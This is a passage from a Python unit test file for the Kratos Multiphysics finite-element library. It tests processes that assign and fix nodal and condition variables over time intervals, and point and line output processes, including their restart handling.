"process_name" : "AssignScalarVariableToConditionsProcess",
"Parameters" : {
"model_part_name":"Main",
"variable_name": "DISPLACEMENT_X",
"value" : "t"
}
}
]
}
"""
)
import process_factory
list_of_processes = process_factory.KratosProcessFactory(current_model).ConstructListOfProcesses( settings["process_list"] )
model_part.CloneTimeStep(5.0)
for process in list_of_processes:
process.ExecuteInitializeSolutionStep()
t = model_part.ProcessInfo[TIME]
for cond in model_part.Conditions:
v = cond.GetValue(DISPLACEMENT)
self.assertEqual(v[0],t)
def test_find_nodal_h_process(self):
current_model = Model()
model_part= current_model.CreateModelPart("Main")
model_part.AddNodalSolutionStepVariable(NODAL_H)
model_part_io = ModelPartIO(GetFilePath("test_processes"))
model_part_io.ReadModelPart(model_part)
FindNodalHProcess(model_part).Execute();
for i in range(1,len(model_part.Nodes)):
self.assertEqual(model_part.GetNode(i).GetSolutionStepValue(NODAL_H), 0.25)
self.assertEqual(model_part.GetNode(len(model_part.Nodes)).GetSolutionStepValue(NODAL_H), 0.5)
def test_assign_acceleration_to_nodes(self):
current_model = Model()
model_part= current_model.CreateModelPart("Main")
model_part.AddNodalSolutionStepVariable(DISPLACEMENT)
model_part.AddNodalSolutionStepVariable(ACCELERATION)
model_part.AddNodalSolutionStepVariable(VISCOSITY)
model_part_io = ModelPartIO(GetFilePath("test_processes"))
model_part_io.ReadModelPart(model_part)
settings = Parameters(
"""
{
"process_list" : [
{
"python_module" : "assign_time_derivative_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "AssignTimeDerivativeProcess",
"Parameters" : {
"model_part_name":"Main",
"variable_name" : "ACCELERATION",
"variable_to_be_solved_for" : "DISPLACEMENT",
"value" : ["t",null,"z"],
"interval" : [3.0,4.0]
}
}
]
}
"""
)
import process_factory
list_of_processes = process_factory.KratosProcessFactory(current_model).ConstructListOfProcesses( settings["process_list"] )
################### here we are within the interval
model_part.CloneTimeStep(3.0)
for process in list_of_processes:
process.ExecuteInitializeSolutionStep()
for node in model_part.Nodes:
self.assertEqual(node.IsFixed(ACCELERATION_X), True)
self.assertEqual(node.IsFixed(ACCELERATION_Y), False)
self.assertEqual(node.IsFixed(ACCELERATION_Z), True)
self.assertEqual(node.IsFixed(DISPLACEMENT_X), True)
self.assertEqual(node.IsFixed(DISPLACEMENT_Y), False)
self.assertEqual(node.IsFixed(DISPLACEMENT_Z), True)
self.assertEqual(node.GetSolutionStepValue(ACCELERATION_X), 3.0) #t = 3.0
self.assertEqual(node.GetSolutionStepValue(ACCELERATION_Y), 0.0)
self.assertEqual(node.GetSolutionStepValue(ACCELERATION_Z), node.Z)
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_X), 0.0) #displacements remain unmodified, they will be assigned by the scheme
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_Y), 0.0)
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_Z), 0.0)
for process in list_of_processes:
process.ExecuteFinalizeSolutionStep()
for node in model_part.Nodes:
self.assertEqual(node.IsFixed(ACCELERATION_X), False)
self.assertEqual(node.IsFixed(ACCELERATION_Y), False)
self.assertEqual(node.IsFixed(ACCELERATION_Z), False)
self.assertEqual(node.IsFixed(DISPLACEMENT_X), False)
self.assertEqual(node.IsFixed(DISPLACEMENT_Y), False)
self.assertEqual(node.IsFixed(DISPLACEMENT_Z), False)
self.assertEqual(node.GetSolutionStepValue(ACCELERATION_X), 3.0) #t = 3.0
self.assertEqual(node.GetSolutionStepValue(ACCELERATION_Y), 0.0)
self.assertEqual(node.GetSolutionStepValue(ACCELERATION_Z), node.Z)
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_X), 0.0) #displacements remain unmodified, they will be assigned by the scheme
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_Y), 0.0)
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_Z), 0.0)
################### here we are outside of the interval - values do not change but everything is free
model_part.CloneTimeStep(8.0)
for process in list_of_processes:
process.ExecuteInitializeSolutionStep()
for node in model_part.Nodes:
self.assertEqual(node.IsFixed(ACCELERATION_X), False)
self.assertEqual(node.IsFixed(ACCELERATION_Y), False)
self.assertEqual(node.IsFixed(ACCELERATION_Z), False)
self.assertEqual(node.IsFixed(DISPLACEMENT_X), False)
self.assertEqual(node.IsFixed(DISPLACEMENT_Y), False)
self.assertEqual(node.IsFixed(DISPLACEMENT_Z), False)
self.assertEqual(node.GetSolutionStepValue(ACCELERATION_X), 3.0) #t = 3.0
self.assertEqual(node.GetSolutionStepValue(ACCELERATION_Y), 0.0)
self.assertEqual(node.GetSolutionStepValue(ACCELERATION_Z), node.Z)
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_X), 0.0) #displacements remain unmodified, they will be assigned by the scheme
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_Y), 0.0)
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_Z), 0.0)
for process in list_of_processes:
process.ExecuteFinalizeSolutionStep()
for node in model_part.Nodes:
self.assertEqual(node.IsFixed(ACCELERATION_X), False)
self.assertEqual(node.IsFixed(ACCELERATION_Y), False)
self.assertEqual(node.IsFixed(ACCELERATION_Z), False)
self.assertEqual(node.IsFixed(DISPLACEMENT_X), False)
self.assertEqual(node.IsFixed(DISPLACEMENT_Y), False)
self.assertEqual(node.IsFixed(DISPLACEMENT_Z), False)
self.assertEqual(node.GetSolutionStepValue(ACCELERATION_X), 3.0) #t = 3.0
self.assertEqual(node.GetSolutionStepValue(ACCELERATION_Y), 0.0)
self.assertEqual(node.GetSolutionStepValue(ACCELERATION_Z), node.Z)
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_X), 0.0) #displacements remain unmodified, they will be assigned by the scheme
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_Y), 0.0)
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_Z), 0.0)
def test_assign_vector_variable_to_conditions(self):
current_model = Model()
model_part= current_model.CreateModelPart("Main")
model_part.AddNodalSolutionStepVariable(DISPLACEMENT)
model_part.CreateNewNode(1,0.5,0.5,0.5)
model_part.CreateNewNode(2,1.0,1.0,1.0)
model_part.CreateNewCondition("LineCondition2D2N",1,[1,2], model_part.GetProperties()[1])
settings = Parameters(
"""
{
"process_list" : [
{
"python_module" : "assign_vector_by_direction_to_condition_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "AssignVectorByDirectionToConditionProcess",
"Parameters" : {
"model_part_name" : "Main",
"variable_name" : "DISPLACEMENT",
"modulus" : "2.0*t-y",
"direction" : [1.0,0.0,0.0],
"interval" : [0.0,"End"]
}
}
]
}
""")
import process_factory
list_of_processes = process_factory.KratosProcessFactory(current_model).ConstructListOfProcesses( settings["process_list"] )
################### here we are within the interval
model_part.CloneTimeStep(3.0)
for process in list_of_processes:
process.ExecuteInitializeSolutionStep()
for cond in model_part.Conditions:
tmp = cond.GetValue(DISPLACEMENT)
self.assertEqual(tmp[0], 2.0*3.0-0.75)
self.assertEqual(tmp[1], 0.0)
self.assertEqual(tmp[2], 0.0)
for process in list_of_processes:
process.ExecuteFinalizeSolutionStep()
################### here we are outside of the interval - values do not change but everything is free
model_part.CloneTimeStep(8.0)
for process in list_of_processes:
process.ExecuteInitializeSolutionStep()
for cond in model_part.Conditions:
tmp = cond.GetValue(DISPLACEMENT)
self.assertEqual(tmp[0], 2.0*8.0-0.75)
self.assertEqual(tmp[1], 0.0)
self.assertEqual(tmp[2], 0.0)
for process in list_of_processes:
process.ExecuteFinalizeSolutionStep()
def test_point_output_process_node(self):
current_model = Model()
model_part = current_model.CreateModelPart("Main")
model_part.AddNodalSolutionStepVariable(DISPLACEMENT)
model_part.AddNodalSolutionStepVariable(ACCELERATION)
model_part.AddNodalSolutionStepVariable(VISCOSITY)
model_part_io = ModelPartIO(GetFilePath("test_processes"))
model_part_io.ReadModelPart(model_part)
reference_file_name = GetFilePath("point_output_process_ref_files/node_output_ref.dat")
# Here we also test if the output to folder(s) (and subfolder(s)) works
settings = Parameters("""{
"process_list" : [ {
"python_module" : "point_output_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "PointOutputProcess",
"Parameters" : {
"position" : [0.5, 0.25, 0.0],
"model_part_name" : "Main",
"output_file_settings": {
"file_name" : "node_output",
"folder_name" : "test_parent_folder/test_subfolder"
},
"output_variables" : ["DISPLACEMENT", "VISCOSITY", "ACCELERATION"],
"entity_type" : "node"
}
},{
"python_module" : "compare_two_files_check_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "CompareTwoFilesCheckProcess",
"Parameters" : {
"reference_file_name" : "",
"output_file_name" : "test_parent_folder/test_subfolder/node_output.dat",
"comparison_type" : "dat_file"
}
} ]
}""")
settings["process_list"][1]["Parameters"]["reference_file_name"].SetString(reference_file_name)
end_time = 5.0
delta_time = 0.15
model_part.ProcessInfo[TIME] = 0.0
SolutionLoopPointOutputProcesses(model_part, settings, end_time, delta_time)
kratos_utils.DeleteDirectoryIfExisting("test_parent_folder")
def test_point_output_process_element(self):
current_model = Model()
model_part = current_model.CreateModelPart("Main")
model_part.AddNodalSolutionStepVariable(DISPLACEMENT)
model_part.AddNodalSolutionStepVariable(ACCELERATION)
model_part.AddNodalSolutionStepVariable(VISCOSITY)
model_part_io = ModelPartIO(GetFilePath("test_processes"))
model_part_io.ReadModelPart(model_part)
reference_file_name = GetFilePath("point_output_process_ref_files/element_output_ref.dat")
settings = Parameters("""{
"process_list" : [ {
"python_module" : "point_output_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "PointOutputProcess",
"Parameters" : {
"position" : [0.563, 0.89, 0.0],
"model_part_name" : "Main",
"output_file_settings": {
"file_name" : "element_output"
},
"output_variables" : ["DISPLACEMENT_X", "VISCOSITY", "ACCELERATION"]
}
},{
"python_module" : "compare_two_files_check_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "CompareTwoFilesCheckProcess",
"Parameters" : {
"reference_file_name" : "",
"output_file_name" : "element_output.dat",
"comparison_type" : "dat_file"
}
} ]
}""")
settings["process_list"][1]["Parameters"]["reference_file_name"].SetString(reference_file_name)
end_time = 5.0
delta_time = 0.15
model_part.ProcessInfo[TIME] = 0.0
model_part.ProcessInfo[DOMAIN_SIZE] = 3
SolutionLoopPointOutputProcesses(model_part, settings, end_time, delta_time)
def test_point_output_process_condition(self):
current_model = Model()
model_part = current_model.CreateModelPart("Main")
model_part.AddNodalSolutionStepVariable(DISPLACEMENT)
model_part.AddNodalSolutionStepVariable(ACCELERATION)
model_part.AddNodalSolutionStepVariable(VISCOSITY)
model_part_io = ModelPartIO(GetFilePath("test_model_part_io_read"))
model_part_io.ReadModelPart(model_part)
reference_file_name = GetFilePath("point_output_process_ref_files/condition_output_ref.dat")
# Here we also test if setting the write_buffer_size works
settings = Parameters("""{
"process_list" : [ {
"python_module" : "point_output_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "PointOutputProcess",
"Parameters" : {
"position" : [16.0, 0.2, 0.0],
"model_part_name" : "Main",
"output_file_settings": {
"file_name" : "condition_output",
"write_buffer_size" : 512
},
"output_variables" : ["DISPLACEMENT", "VISCOSITY", "ACCELERATION"],
"entity_type" : "condition"
}
},{
"python_module" : "compare_two_files_check_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "CompareTwoFilesCheckProcess",
"Parameters" : {
"reference_file_name" : "",
"output_file_name" : "condition_output.dat",
"comparison_type" : "dat_file"
}
} ]
}""")
settings["process_list"][1]["Parameters"]["reference_file_name"].SetString(reference_file_name)
end_time = 5.0
delta_time = 0.15
model_part.ProcessInfo[TIME] = 0.0
model_part.ProcessInfo[DOMAIN_SIZE] = 2
SolutionLoopPointOutputProcesses(model_part, settings, end_time, delta_time)
def test_point_output_process_restart(self):
current_model = Model()
model_part = current_model.CreateModelPart("Main")
model_part.AddNodalSolutionStepVariable(DISPLACEMENT)
model_part.AddNodalSolutionStepVariable(ACCELERATION)
model_part.AddNodalSolutionStepVariable(VISCOSITY)
model_part_io = ModelPartIO(GetFilePath("test_processes"))
model_part_io.ReadModelPart(model_part)
reference_file_name = GetFilePath("point_output_process_ref_files/node_output_ref.dat")
# note that we are comparing the same file as for without restart
settings = Parameters("""{
"process_list" : [ {
"python_module" : "point_output_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "PointOutputProcess",
"Parameters" : {
"position" : [0.5, 0.25, 0.0],
"model_part_name" : "Main",
"output_file_settings": {
"file_name" : "point_output_rest"
},
"output_variables" : ["DISPLACEMENT", "VISCOSITY", "ACCELERATION"],
"entity_type" : "node"
}
},{
"python_module" : "compare_two_files_check_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "CompareTwoFilesCheckProcess",
"Parameters" : {
"reference_file_name" : "",
"output_file_name" : "point_output_rest.dat",
"comparison_type" : "dat_file"
}
} ]
}""")
settings["process_list"][1]["Parameters"]["reference_file_name"].SetString(reference_file_name)
# From this file we copy some lines into a new file , which will be used as basis for the restart
ref_file_name = settings["process_list"][1]["Parameters"]["reference_file_name"].GetString()
ref_file_name = os.path.abspath(ref_file_name) # making it work independent of OS
# here we create a dat file from a "previous run"
out_file_name = settings["process_list"][0]["Parameters"]["output_file_settings"]["file_name"].GetString()
out_file_name += ".dat"
with open(ref_file_name, 'r') as ref_file, open(out_file_name, 'w') as out_file:
for line in ref_file:
out_file.write(line)
if line.startswith("3.15"): # the previous run "stopped" at T=3.1
break
model_part.ProcessInfo[IS_RESTARTED] = True
model_part.ProcessInfo[TIME] = 2.1 # the new run "starts" at T=2.1
end_time = 5.0
delta_time = 0.15
SolutionLoopPointOutputProcesses(model_part, settings, end_time, delta_time)
def test_point_output_process_restart_with_restart_time_no_found(self):
current_model = Model()
model_part = current_model.CreateModelPart("Main")
model_part.AddNodalSolutionStepVariable(DISPLACEMENT)
model_part.AddNodalSolutionStepVariable(ACCELERATION)
model_part.AddNodalSolutionStepVariable(VISCOSITY)
model_part_io = ModelPartIO(GetFilePath("test_processes"))
model_part_io.ReadModelPart(model_part)
reference_file_name = GetFilePath("point_output_process_ref_files/node_output_restart_time_not_found_ref.dat")
# note that we are comparing the same file as for without restart
settings = Parameters("""{
"process_list" : [ {
"python_module" : "point_output_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "PointOutputProcess",
"Parameters" : {
"position" : [0.5, 0.25, 0.0],
"model_part_name" : "Main",
"output_file_settings": {
"file_name" : "point_output_restart_time_not_found"
},
"output_variables" : ["DISPLACEMENT", "VISCOSITY", "ACCELERATION"],
"entity_type" : "node"
}
},{
"python_module" : "compare_two_files_check_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "CompareTwoFilesCheckProcess",
"Parameters" : {
"reference_file_name" : "",
"output_file_name" : "point_output_restart_time_not_found.dat",
"comparison_type" : "dat_file"
}
} ]
}""")
settings["process_list"][1]["Parameters"]["reference_file_name"].SetString(reference_file_name)
# From this file we copy some lines into a new file , which will be used as basis for the restart
ref_file_name = settings["process_list"][1]["Parameters"]["reference_file_name"].GetString()
ref_file_name = os.path.abspath(ref_file_name) # making it work independent of OS
# here we create a dat file from a "previous run"
out_file_name = settings["process_list"][0]["Parameters"]["output_file_settings"]["file_name"].GetString()
out_file_name += ".dat"
with open(ref_file_name, 'r') as ref_file, open(out_file_name, 'w') as out_file:
for line in ref_file:
out_file.write(line)
if line.startswith("3.15"): # the previous run "stopped" at T=3.1
break
model_part.ProcessInfo[IS_RESTARTED] = True
model_part.ProcessInfo[TIME] = 2.15 # the new run "starts" at T=2.15, wich will not match any value
end_time = 5.0
delta_time = 0.15
SolutionLoopPointOutputProcesses(model_part, settings, end_time, delta_time)
def test_point_output_process_failed_restart(self):
current_model = Model()
model_part = current_model.CreateModelPart("Main")
model_part.AddNodalSolutionStepVariable(DISPLACEMENT)
model_part.AddNodalSolutionStepVariable(ACCELERATION)
model_part.AddNodalSolutionStepVariable(VISCOSITY)
model_part_io = ModelPartIO(GetFilePath("test_processes"))
model_part_io.ReadModelPart(model_part)
# Delete the file in case it is leftover from a previous test
kratos_utils.DeleteFileIfExisting("node_output_failed_restart.dat")
reference_file_name = GetFilePath("point_output_process_ref_files/node_output_failed_restart_ref.dat")
settings = Parameters("""{
"process_list" : [ {
"python_module" : "point_output_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "PointOutputProcess",
"Parameters" : {
"position" : [0.5, 0.25, 0.0],
"model_part_name" : "Main",
"output_file_settings": {
"file_name" : "node_output_failed_restart"
},
"output_variables" : ["DISPLACEMENT", "VISCOSITY", "ACCELERATION"],
"entity_type" : "node"
}
},{
"python_module" : "compare_two_files_check_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "CompareTwoFilesCheckProcess",
"Parameters" : {
"reference_file_name" : "",
"output_file_name" : "node_output_failed_restart.dat",
"comparison_type" : "dat_file"
}
} ]
}""")
settings["process_list"][1]["Parameters"]["reference_file_name"].SetString(reference_file_name)
end_time = 5.0
delta_time = 0.15
# "fake" a restart
model_part.ProcessInfo[IS_RESTARTED] = True
model_part.ProcessInfo[TIME] = 2.1
SolutionLoopPointOutputProcesses(model_part, settings, end_time, delta_time)
def test_multiple_point_output_process(self):
current_model = Model()
model_part = current_model.CreateModelPart("Main")
model_part.AddNodalSolutionStepVariable(DISPLACEMENT)
model_part.AddNodalSolutionStepVariable(ACCELERATION)
model_part.AddNodalSolutionStepVariable(VISCOSITY)
model_part_io = ModelPartIO(GetFilePath("test_processes"))
model_part_io.ReadModelPart(model_part)
reference_file_name_1 = GetFilePath("point_output_process_ref_files/node_output_1_ref.dat")
reference_file_name_2 = GetFilePath("point_output_process_ref_files/node_output_2_ref.dat")
reference_file_name_3 = GetFilePath("point_output_process_ref_files/node_output_3_ref.dat")
settings = Parameters("""{
"process_list" : [ {
"python_module" : "multiple_points_output_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "MultiplePointsOutputProcess",
"Parameters" : {
"positions" : [[0.5, 0.0, 0.0],
[0.25, 0.5, 0.0],
[1.0, 0.0, 0.0]],
"model_part_name" : "Main",
"output_file_settings": {
"file_name" : "node_output"
},
"output_variables" : ["DISPLACEMENT", "VISCOSITY", "ACCELERATION"],
"entity_type" : "node"
}
},{
"python_module" : "compare_two_files_check_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "CompareTwoFilesCheckProcess",
"Parameters" : {
"reference_file_name" : "",
"output_file_name" : "node_output_1.dat",
"comparison_type" : "dat_file"
}
} ,{
"python_module" : "compare_two_files_check_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "CompareTwoFilesCheckProcess",
"Parameters" : {
"reference_file_name" : "",
"output_file_name" : "node_output_2.dat",
"comparison_type" : "dat_file"
}
} ,{
"python_module" : "compare_two_files_check_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "CompareTwoFilesCheckProcess",
"Parameters" : {
"reference_file_name" : "",
"output_file_name" : "node_output_3.dat",
"comparison_type" : "dat_file"
}
} ]
}""")
settings["process_list"][1]["Parameters"]["reference_file_name"].SetString(reference_file_name_1)
settings["process_list"][2]["Parameters"]["reference_file_name"].SetString(reference_file_name_2)
settings["process_list"][3]["Parameters"]["reference_file_name"].SetString(reference_file_name_3)
end_time = 5.0
delta_time = 0.15
model_part.ProcessInfo[TIME] = 0.0
SolutionLoopPointOutputProcesses(model_part, settings, end_time, delta_time)
def test_line_output_process(self):
current_model = Model()
model_part = current_model.CreateModelPart("Main")
model_part.AddNodalSolutionStepVariable(DISPLACEMENT)
model_part.AddNodalSolutionStepVariable(ACCELERATION)
model_part.AddNodalSolutionStepVariable(VISCOSITY)
model_part_io = ModelPartIO(GetFilePath("test_processes"))
model_part_io.ReadModelPart(model_part)
reference_file_name_1 = GetFilePath("point_output_process_ref_files/line_output_1_ref.dat")
reference_file_name_2 = GetFilePath("point_output_process_ref_files/line_output_2_ref.dat")
reference_file_name_3 = GetFilePath("point_output_process_ref_files/line_output_3_ref.dat")
settings = Parameters("""{
"process_list" : [ {
"python_module" : "line_output_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "LineOutputProcess",
"Parameters" : {
"start_point" : [0.0, 0.1, 0.0],
"end_point" : [0.9, 0.5, 0.0],
"model_part_name" : "Main",
"output_file_settings": {
"file_name" : "line_output"
},
"output_variables" : ["DISPLACEMENT", "VISCOSITY", "ACCELERATION"]
}
},{
"python_module" : "compare_two_files_check_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "CompareTwoFilesCheckProcess",
"Parameters" : {
"reference_file_name" : "",
"output_file_name" : "line_output_1.dat",
"comparison_type" : "dat_file"
}
} ,{
"python_module" : "compare_two_files_check_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "CompareTwoFilesCheckProcess",
"Parameters" : {
"reference_file_name" : "",
"output_file_name" : "line_output_2.dat",
"comparison_type" : "dat_file"
}
}, {
"python_module" : "compare_two_files_check_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "CompareTwoFilesCheckProcess",
"Parameters" : {
"reference_file_name" : "",
"output_file_name" : "line_output_3.dat",
"comparison_type" : "dat_file"
}
}]
}""")
settings["process_list"][1]["Parameters"]["reference_file_name"].SetString(reference_file_name_1)
settings["process_list"][2]["Parameters"]["reference_file_name"].SetString(reference_file_name_2)
settings["process_list"][3]["Parameters"]["reference_file_name"].SetString(reference_file_name_3)
model_part.ProcessInfo[DOMAIN_SIZE] = 3
end_time = 5.0
delta_time = 0.15
model_part.ProcessInfo[TIME] = 0.0
SolutionLoopPointOutputProcesses(model_part, settings, end_time, delta_time)
def test_assign_flag_process(self):
current_model = Model()
model_part = current_model.CreateModelPart("Main")
model_part_io = ModelPartIO(GetFilePath("test_processes"))
model_part_io.ReadModelPart(model_part)
settings = Parameters("""{
"process_list" : [ {
"python_module" : "assign_flag_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "AssignFlagProcess",
"Parameters" : {
"mesh_id" : 0,
"model_part_name" : "Main",
"flag_name" : "ACTIVE",
"value" : true,
"entities" : ["nodes","elements"]
}
}]
}""")
import process_factory
list_of_processes = process_factory.KratosProcessFactory(current_model).ConstructListOfProcesses( settings["process_list"] )
model_part.CloneTimeStep(1.0)
for process in list_of_processes:
process.ExecuteInitializeSolutionStep()
##verify the result
for node in model_part.Nodes:
self.assertEqual(node.Is(ACTIVE), True)
for cond in model_part.Conditions:
self.assertEqual(cond.Is(ACTIVE), False)
for elem in model_part.Elements:
self.assertEqual(elem.Is(ACTIVE), True)
def test_fix_processes(self):
current_model = Model()
model_part = current_model.CreateModelPart("Main")
model_part.AddNodalSolutionStepVariable(DISPLACEMENT)
model_part.AddNodalSolutionStepVariable(VELOCITY)
model_part.AddNodalSolutionStepVariable(VISCOSITY)
model_part.AddNodalSolutionStepVariable(DENSITY)
model_part_io = ModelPartIO(GetFilePath("test_model_part_io_read"))
model_part_io.ReadModelPart(model_part)
#reset all data
for node in model_part.Nodes:
node.Free(DISPLACEMENT_X)
node.Free(DISPLACEMENT_Y)
node.Free(DISPLACEMENT_Z)
node.Free(VELOCITY_X)
node.Free(VELOCITY_Y)
node.Free(VELOCITY_Z)
node.SetSolutionStepValue(DENSITY,0,0.0)
node.SetSolutionStepValue(VISCOSITY,0,0.0)
node.SetSolutionStepValue(DISPLACEMENT_X,0,0.0)
node.SetSolutionStepValue(DISPLACEMENT_Y,0,0.0)
node.SetSolutionStepValue(DISPLACEMENT_Z,0,0.0)
node.SetSolutionStepValue(VELOCITY_X,0,0.0)
node.SetSolutionStepValue(VELOCITY_Y,0,0.0)
node.SetSolutionStepValue(VELOCITY_Z,0,0.0)
settings = Parameters(
"""
{
"process_list" : [
{
"python_module" : "fix_scalar_variable_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "FixScalarVariableProcess",
"Parameters" : {
"model_part_name" : "Main",
"variable_name" : "VISCOSITY",
"interval" : [1.0, 2.0],
"constrained" : true
}
},
{
"python_module" : "fix_scalar_variable_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "FixScalarVariableProcess",
"Parameters" : {
"model_part_name" : "Main",
"variable_name" : "DENSITY",
"interval" : [3.0, 1e30]
}
},
{
"python_module" : "fix_scalar_variable_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "FixScalarVariableProcess",
"Parameters" : {
"model_part_name" : "Main",
"variable_name" : "DISPLACEMENT_X",
"constrained" : true
}
},
{
"python_module" : "fix_vector_variable_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "FixVectorVariableProcess",
"Parameters" : {
"model_part_name" : "Main",
"variable_name" : "DISPLACEMENT"
}
},
{
"python_module" : "fix_vector_variable_process",
"kratos_module" : "KratosMultiphysics",
"process_name" : "FixVectorVariableProcess",
"Parameters" : {
"model_part_name" : "Main",
"variable_name" : "VELOCITY",
"constrained" : [false, true, true]
}
}
]
}
"""
)
import process_factory
list_of_processes = process_factory.KratosProcessFactory(current_model).ConstructListOfProcesses( settings["process_list"] )
for node in model_part.Nodes:
self.assertFalse(node.IsFixed(DISPLACEMENT_X))
self.assertFalse(node.IsFixed(DISPLACEMENT_Y))
self.assertFalse(node.IsFixed(DISPLACEMENT_Z))
############################################################
##time = 1 - all active except DENSITY
model_part.CloneTimeStep(1.0)
for process in list_of_processes:
process.ExecuteInitializeSolutionStep()
##verify the result
for node in model_part.Nodes:
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_X), 0.0)
self.assertEqual(node.GetSolutionStepValue(VELOCITY_X), 0.0)
self.assertEqual(node.GetSolutionStepValue(DENSITY), 0.0)
self.assertEqual(node.GetSolutionStepValue(VISCOSITY), 0.0)
self.assertFalse(node.IsFixed(DENSITY))
self.assertTrue(node.IsFixed(VISCOSITY))
self.assertTrue(node.IsFixed(DISPLACEMENT_X))
self.assertTrue(node.IsFixed(DISPLACEMENT_Y))
self.assertTrue(node.IsFixed(DISPLACEMENT_Z))
self.assertFalse(node.IsFixed(VELOCITY_X))
self.assertTrue(node.IsFixed(VELOCITY_Y))
self.assertTrue(node.IsFixed(VELOCITY_Z))
for process in list_of_processes:
process.ExecuteFinalizeSolutionStep()
##verify the result
for node in model_part.Nodes:
self.assertFalse(node.IsFixed(DENSITY))
self.assertFalse(node.IsFixed(VISCOSITY))
self.assertFalse(node.IsFixed(DISPLACEMENT_X))
self.assertFalse(node.IsFixed(DISPLACEMENT_Y))
self.assertFalse(node.IsFixed(DISPLACEMENT_Z))
self.assertFalse(node.IsFixed(VELOCITY_X))
self.assertFalse(node.IsFixed(VELOCITY_Y))
self.assertFalse(node.IsFixed(VELOCITY_Z))
############################################################
##time = 3 - all active except VISCOSITY
model_part.CloneTimeStep(3.0)
for node in model_part.Nodes:
self.assertFalse(node.IsFixed(VELOCITY_X))
self.assertFalse(node.IsFixed(VELOCITY_Y))
self.assertFalse(node.IsFixed(VELOCITY_Z))
for process in list_of_processes:
process.ExecuteInitializeSolutionStep()
##verify the result
for node in model_part.Nodes:
self.assertEqual(node.GetSolutionStepValue(DISPLACEMENT_X), 0.0)
self.assertEqual(node.GetSolutionStepValue(VELOCITY_X), 0.0)
self.assertEqual(node.GetSolutionStepValue(DENSITY), 0.0)
self.assertEqual(node.GetSolutionStepValue(VISCOSITY), 0.0)
self.assertTrue(node.IsFixed(DENSITY))
self.assertFalse(node.IsFixed(VISCOSITY))
self.assertTrue(node.IsFixed(DISPLACEMENT_X))
self.assertTrue(node.IsFixed(DISPLACEMENT_Y))
self.assertTrue(node.IsFixed(DISPLACEMENT_Z))
self.assertFalse(node.IsFixed(VELOCITY_X))
self.assertTrue(node.IsFixed(VELOCITY_Y))
self.assertTrue(node.IsFixed(VELOCITY_Z))
for process in list_of_processes:
process.ExecuteFinalizeSolutionStep()
##verify the result
for node in model_part.Nodes:
self.assertFalse(node.IsFixed(DENSITY))
self.assertFalse(node.IsFixed(VISCOSITY))
self.assertFalse(node.IsFixed(DISPLACEMENT_X))
self.assertFalse(node.IsFixed(DISPLACEMENT_Y))
self.assertFalse(node.IsFixed(DISPLACEMENT_Z))
self.assertFalse(node.IsFixed(VELOCITY_X))
self.assertFalse(node.IsFixed(VELOCITY_Y))
self.assertFalse(node.IsFixed(VELOCITY_Z))
def SetNodalValuesForPointOutputProcesses(model_part):
time = model_part.ProcessInfo[TIME]
vec = Vector(3)
for node in model_part.Nodes:
vec[0] = round(math.sqrt(node.X**2+node.Y**2)*time ,6)
vec[1] = round(node.X**2+node.Y**2 + time ,6)
vec[2] = round(node.X+node.Y + time ,6)
node.SetSolutionStepValue(DISPLACEMENT, vec)
node.SetSolutionStepValue(ACCELERATION, vec*time)
node.SetSolutionStepValue(VISCOSITY, time**2 + 1.038)
def SolutionLoopPointOutputProcesses(model_part, settings, end_time, delta_time):
current_model = model_part.GetModel()
import process_factory
list_of_processes = process_factory.KratosProcessFactory(current_model).ConstructListOfProcesses(
settings["process_list"] )
for process in list_of_processes:
process.ExecuteInitialize()
for process in list_of_processes:
process.ExecuteBeforeSolutionLoop()
while model_part.ProcessInfo[TIME] < end_time:
model_part.ProcessInfo[TIME] += delta_time
SetNodalValuesForPointOutputProcesses(model_part)
for process in list_of_processes:
process.ExecuteInitializeSolutionStep()
for process in list_of_processes:
process.ExecuteBeforeOutputStep()
for process in list_of_processes:
process.ExecuteAfterOutputStep()
for process in list_of_processes:
process.ExecuteFinalizeSolutionStep()
for process in list_of_processes:
process.ExecuteFinalize()
if __name__ == '__main__':
KratosUnittest.main()
